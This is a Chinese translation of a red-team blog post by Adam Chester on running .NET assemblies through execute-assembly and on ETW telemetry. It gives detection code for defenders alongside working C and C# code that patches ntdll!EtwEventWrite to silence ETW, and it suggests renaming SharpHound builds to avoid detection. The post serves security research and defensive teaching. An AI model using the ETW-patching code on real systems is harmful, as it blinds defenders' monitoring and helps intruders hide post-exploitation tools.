言
随着目前的防御机制不断加强对于PowerShell的检测功能,攻击者也不断改变他们所使用的战术,并逐渐改用到很少会被监测到的技术,.NET就是其中的一种。随着时间的推移,很多攻击者已经习惯了可以用于后漏洞利用的大量.NET Payload。诸如GhostPack和SharpHound这样的工具套件,已经成为攻击者武器库中的一部分,负责为其提供“动力”的框架,通常会是Cobalt Strike的execute-assembly。
这样的功能,有效减少了红队的工作量。在我看来,这也正是.NET工具持续流行的原因之一,它使得恶意活动运营人员可以在后漏洞利用的剧本(Playbook)中从非托管的进程中运行程序集。
如同PowerShell一样,随着时间的推移,Microsoft和终端安全厂商已经逐渐引入了防御功能,以帮助缓解在.NET Payload执行这方面的盲区(例如:在.NET 4.8中引入的AMSI)。对于攻击者来说,一大挑战就是如何继续保证在不产生告警的情况下继续利用这种技术。当然,目前AMSI对攻击者来说并不是一个太大的问题,奇热但是我们担心防御方所使用的其他技术没有得到足够的审查。
因此,在这几篇文章中,我们希望探讨蓝队能如何检测恶意的.NET,如何通过execute-assembly这样的方法来利用,以及红队的攻击者如何能绕过针对这类攻击的检测和限制。
在这一系列的第一篇文章中,我们将重点讨论Windows事件线程(ETW),以及如何使用它来表示正在从非托管进程执行的.NET程序集。
Execute-assembly的工作原理
为了了解防御方的侦查能力,我们首先需要研究execute-assembly技术的实际工作原理。
该方法的魔力在于,其背后隐藏着三个接口——ICLRMetaHost、ICLRRuntimeInfo和ICLRRuntimeHost。要开始将CLR加载到“非托管”进程中(也称为没有启动CLR的Windows进程),我们需要调用CLRCreateInstance方法。使用该函数,将会提供一个ICLRMetaHost接口,该接口在.NET Frameworks列表中公开了一些对我们有帮助的信息:
ICLRMetaHost *metaHost = NULL; IEnumUnknown *runtime = NULL; if (CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost) != S_OK) { printf("[x] Error: CLRCreateInstance(..)\n"); return 2; } if (metaHost->EnumerateInstalledRuntimes(&runtime) != S_OK) { printf("[x] Error: EnumerateInstalledRuntimes(..)\n"); return 2; }
一旦选择了运行时,接下来就要实例化我们的ICLRRuntimeInfo接口,该接口又用于创建我们的ICLRRuntimeHost接口。
frameworkName = (LPWSTR)LocalAlloc(LPTR, 2048); if (frameworkName == NULL) { printf("[x] Error: malloc could not allocate\n"); return 2; } // Enumerate through runtimes and show supported frameworks while (runtime->Next(1, &enumRuntime, 0) == S_OK) { if (enumRuntime->QueryInterface(&runtimeInfo) == S_OK) { if (runtimeInfo != NULL) { runtimeInfo->GetVersionString(frameworkName, &bytes); wprintf(L"[*] Supported Framework: %s\n", frameworkName); } } } // For demo, we just use the last supported runtime if (runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost) != S_OK) { printf("[x] ..GetInterface(CLSID_CLRRuntimeHost...) failed\n"); return 2; }
在创建后,所有内容都会通过两个方法调用合并在一起。ICLRRuntimeHost::Start将CLR加载到我们的进程中,而ICLRRuntimeHost::ExecuteInDefaultAppDomain则允许我们提供程序集位置以及要执行的方法名称:
// Start runtime, and load our assembly runtimeHost->Start(); printf("[*] ======= Calling .NET Code =======\n\n"); if (runtimeHost->ExecuteInDefaultAppDomain( L"myassembly.dll", L"myassembly.Program", L"test", L"argtest", &result ) != S_OK) { printf("[x] Error: ExecuteInDefaultAppDomain(..) failed\n"); return 2; } printf("[*] ======= Done =======\n");
如果大家希望看到端到端运行,可以在这里找到相应的源代码。
在编译并执行后,我们可以看到,在非托管进程中加载.NET程序集是非常容易的:
蓝队如何检测程序集
现在,我们已经知道了execute-assembly的工作原理。那么对于蓝队而言,如何检测其使用呢?一种常见的方法是使用Windows事件跟踪(ETW),该事件最初是为了调试和监控性能而引入的,但现在已经演变成安全产品和防御人员所使用的工具,用于揭示潜在的威胁指标。
我们在一系列关于.NET滥用的文章中,发现了Countercept通过这种方式利用ETW。@FuzzySec的SilkETW等其他示例,进一步说明了如何使用ETW来分析Microsoft的.NET CLR。而Endgame的CLrGuard则主要作为概念证明来开发,可以检测到恶意.NET进程并终止它们。
在继续进行下一步之前,我们需要说明,从GitHub项目的Releases选项卡中使用任何类型的Payload这种攻击方式早已不再可靠。像是GhostPack这样的项目正在努力阻止这类恶意活动,这些项目甚至不提供任何预编译的二进制文件,从而迫使用户编译自己的解决方案。对于那些不敢相信这个观点的读者,我们可以以“SharpHound”作为测试用例,展示如何检测到攻击者执行此操作。
我们可以使用ProcessHacker,来轻松地查看进程中已经加载的程序集。我们可以看一些当execute-assembly被用于加载SharpHound时的进程。在下图中,我们可以看到生成的代理进程(示例中为w32tm.exe),可以看到该进程明显托管SharpHound,如其.NET程序集名称所示:
为了演示这样的工具是如何枚举.NET程序集的,我们可以创建一个非常简单的ETW Consumer,它会指示进程正在加载和执行的.NET程序集。
然而,遗憾的是,创建ETW Consumer并不是我们最终的任务,但我们可以根据ProcessHacker来学习如何实现,从而使我们可以创建以下内容:
#define AssemblyDCStart_V1 155 #include #include #include #include #include #include static GUID ClrRuntimeProviderGuid = { 0xe13c0d23, 0xccbc, 0x4e12, { 0x93, 0x1b, 0xd9, 0xcc, 0x2e, 0xee, 0x27, 0xe4 } }; // Can be stopped with 'logman stop "dotnet trace" -etw' const char name[] = "dotnet trace\0"; #pragma pack(1) typedef struct _AssemblyLoadUnloadRundown_V1 { ULONG64 AssemblyID; ULONG64 AppDomainID; ULONG64 BindingID; ULONG AssemblyFlags; WCHAR FullyQualifiedAssemblyName[1]; } AssemblyLoadUnloadRundown_V1, *PAssemblyLoadUnloadRundown_V1; #pragma pack() static void NTAPI ProcessEvent(PEVENT_RECORD EventRecord) { PEVENT_HEADER eventHeader = &EventRecord->EventHeader; PEVENT_DESCRIPTOR eventDescriptor = &eventHeader->EventDescriptor; AssemblyLoadUnloadRundown_V1* assemblyUserData; switch (eventDescriptor->Id) { case AssemblyDCStart_V1: assemblyUserData = (AssemblyLoadUnloadRundown_V1*)EventRecord->UserData; wprintf(L"[%d] - Assembly: %s\n", eventHeader->ProcessId, assemblyUserData->FullyQualifiedAssemblyName); break; } } int main(void) { TRACEHANDLE hTrace = 0; ULONG result, bufferSize; EVENT_TRACE_LOGFILEA trace; EVENT_TRACE_PROPERTIES *traceProp; printf("ETW .NET Trace example - @_xpn_\n\n"); memset(&trace, 0, sizeof(EVENT_TRACE_LOGFILEA)); trace.ProcessTraceMode = PROCESS_TRACE_MODE_REAL_TIME | PROCESS_TRACE_MODE_EVENT_RECORD; trace.LoggerName = (LPSTR)name; trace.EventRecordCallback = (PEVENT_RECORD_CALLBACK)ProcessEvent; bufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(name) + sizeof(WCHAR); traceProp = (EVENT_TRACE_PROPERTIES*)LocalAlloc(LPTR, bufferSize); traceProp->Wnode.BufferSize = bufferSize; traceProp->Wnode.ClientContext = 2; traceProp->Wnode.Flags = WNODE_FLAG_TRACED_GUID; traceProp->LogFileMode = EVENT_TRACE_REAL_TIME_MODE | EVENT_TRACE_USE_PAGED_MEMORY; traceProp->LogFileNameOffset = 0; traceProp->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES); if ((result = StartTraceA(&hTrace, (LPCSTR)name, traceProp)) != ERROR_SUCCESS) { printf("[!] Error starting trace: %d\n", result); return 1; } if ((result = EnableTraceEx( &ClrRuntimeProviderGuid, NULL, hTrace, 1, TRACE_LEVEL_VERBOSE, 0x8, // LoaderKeyword 0, 0, NULL )) != ERROR_SUCCESS) { printf("[!] Error EnableTraceEx\n"); return 2; } hTrace = OpenTrace(&trace); if (hTrace == INVALID_PROCESSTRACE_HANDLE) { printf("[!] Error OpenTrace\n"); return 3; } result = ProcessTrace(&hTrace, 1, NULL, NULL); if (result != ERROR_SUCCESS) { printf("[!] Error ProcessTrace\n"); return 4; } return 0; }
在精心设计客户端之后,我们就可以开始尝试使用Cobalt Strikie中的execute-assembly选项来运行Sharphound。
演示视频:https://youtu.be/aIQNkSbxTM8
如我们所见,Sharphound程序集名称很快就浮出水面,从而表明该工具目前正在使用中。现在,如果要解决这一问题,一个快速简单的方案是实际编译该工具,并将Assembly重命名为不太明显的名称,例如:
msbuild.exe /p:AssemblyName=notmalware ...
当然,这只能解决如何避免通过程序集名称实现检测的问题。如果我们打算改写ETW工具,开始显示被调用的可疑方法名称,我们可以通过添加以下内容来轻松实现:
... switch (eventDescriptor->Id) { case MethodLoadVerbose_V1: methodUserData = (struct _MethodLoadVerbose_V1*)EventRecord->UserData; WCHAR* MethodNameSpace = methodUserData->MethodNameSpace; WCHAR* MethodName = (WCHAR*)(((char*)methodUserData->MethodNameSpace) + (lstrlenW(methodUserData->MethodNameSpace) * 2) + 2); WCHAR* MethodSignature = (WCHAR*)(((char*)MethodName) + (lstrlenW(MethodName) * 2) + 2); wprintf(L"[%d] - MethodNameSpace: %s\n", eventHeader->ProcessId, methodUserData->MethodNameSpace); wprintf(L"[%d] - MethodName: %s\n", eventHeader->ProcessId, MethodName); wprintf(L"[%d] - MethodSignature: %s\n", eventHeader->ProcessId, MethodSignature); break; ...
同样,如果执行SharpHound程序集,即使是重命名后,也会大概率被发现,因为SharpHound命名空间、类名、方法名还会照常显示。
演示视频:https://youtu.be/YiBi0UsFlxw
因此,考虑到这一点,我们可以再次混淆方法的名称。但实际上,我们只不过是持续与ETW玩猫捉老师的游戏。
CLR如何通过ETW公开事件
我们希望能到这里就截止,但显示往往并非如此。我们还需要阻止ETW向防御方报告我们的恶意活动。为此,我们首先需要了解CLR是如何通过ETW公开其事件的。
我们首先来看一下clr.dll,看看是否可以发现事件触发的那一刻。加载PDB并使用Ghidra寻找AssemblyDCStart_V1符号,我们可以迅速采用以下的方法:
接下来,我们看看能否找到一个事件的准确生成点,该事件报告了我们在上述ETW Consumer观察到的程序集加载。将其放入WinDBG,并在上面的ModuleLoad方法之后发生的所有ntdll!EtwEventWrite调用上都设置一个断点,就可以发现以下内容,其中可以看到我们的程序集名称“test”正在发送:
所以,这说明了两件事。第一,这些ETW事件是从用户空间发出的。第二,这些ETW事件是从我们控制的流程中发出的。
红队如何禁用.NET
到现在为止,我们还是希望看到依靠ETW进行恶意活动的检测与指示。通过添加修补ntdll!EtwEventWrite调用的功能,我们可以对非托管.NET加载程序略作修改。
在这个样本中,我们将目标对准x86。我们来挖掘一下EtwEventWrite函数,看看我们正在使用该函数中的哪些内容。如果遵循函数反汇编,我们发现返回的内容是通过ret 14h操作码来完成的:
为了使函数无效,我们将使用c214000的相同ret 14h操作码字节,并将其应用于函数的开头:
// Get the EventWrite function void *eventWrite = GetProcAddress(LoadLibraryA("ntdll"), "EtwEventWrite"); // Allow writing to page VirtualProtect(eventWrite, 4, PAGE_EXECUTE_READWRITE, &oldProt); // Patch with "ret 14" on x86 memcpy(eventWrite, "\xc2\x14\x00\x00", 4); // Return memory to original protection VirtualProtect(eventWrite, 4, oldProt, &oldOldProt);
完成这个操作后,我们可以看到该函数简单地返回,并清理堆栈:
那么,当我们运行SharpHound程序集时,现在ETW检测示例会发生什么情况?
在修复ETW之前,我们会看到类似以下内容:
在完成修复后,我们看不到任何事件记录。
这个样本的来源可以从这里找到: https://gist.github.com/xpn/fabc89c6dc52e038592f3fb9d1374673
因此,当我们在执行非托管.NET时,本文也许会有帮助。但是,在非托管进程中执行上面的操作的过程中还存在一些限制。例如,我们不能只在Assembly.Load调用之前执行这个操作。如果考虑从.NET内部修补ETW,这显然会有一些限制。但其中最大的缺点是,我会暴露蓝方身份和所有工作资料。但是,我们现在可以使用类似以下方式加载进一步的程序集:
using System; using System.Reflection; using System.Runtime.InteropServices; namespace test { class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } class Program { static void Main(string[] args) { Console.WriteLine("ETW Unhook Example @_xpn_"); // Used for x86, I'll let you patch for x64 ;) PatchEtw(new byte[] { 0xc2, 0x14, 0x00 }); Console.WriteLine("ETW Now Unhooked, further calls or Assembly.Load will not be logged"); Console.ReadLine(); //Assembly.Load(new byte[] { }); } private static void PatchEtw(byte[] patch) { try { uint oldProtect; var ntdll = Win32.LoadLibrary("ntdll.dll"); var etwEventSend = Win32.GetProcAddress(ntdll, "EtwEventWrite"); Win32.VirtualProtect(etwEventSend, (UIntPtr)patch.Length, 0x40, out oldProtect); Marshal.Copy(patch, 0, etwEventSend, patch.Length); } catch { Console.WriteLine("Error unhooking ETW"); } } } }
在执行后,我们可以看到事件会被记录下来,直到脱离挂钩为止。
当然,当我们在尝试使用依赖ETW作为其信息源的工具时(例如ProcessHacker),我们看到里面有很多东西:
现在,我们就可以根据真正的需要,在这里发挥创造力,例如:提供虚假信息、仅过滤不希望防御者看到的指标等等。除了修补ntdll!EtwEventWrite之外,实际上还有很多方法可以禁用ETW。我们得到结论,尽管用于防御目的的ETW可能会有帮助,但它还是具有其局限性。
希望这篇文章对于那些发现SOC在参与过程中搜寻.NET Payload的人能有价值。在第二篇文章中,我将探讨一些不同的地方,以及确认如何保护Payload免受提取和分析。
本文由Adam Chester撰写。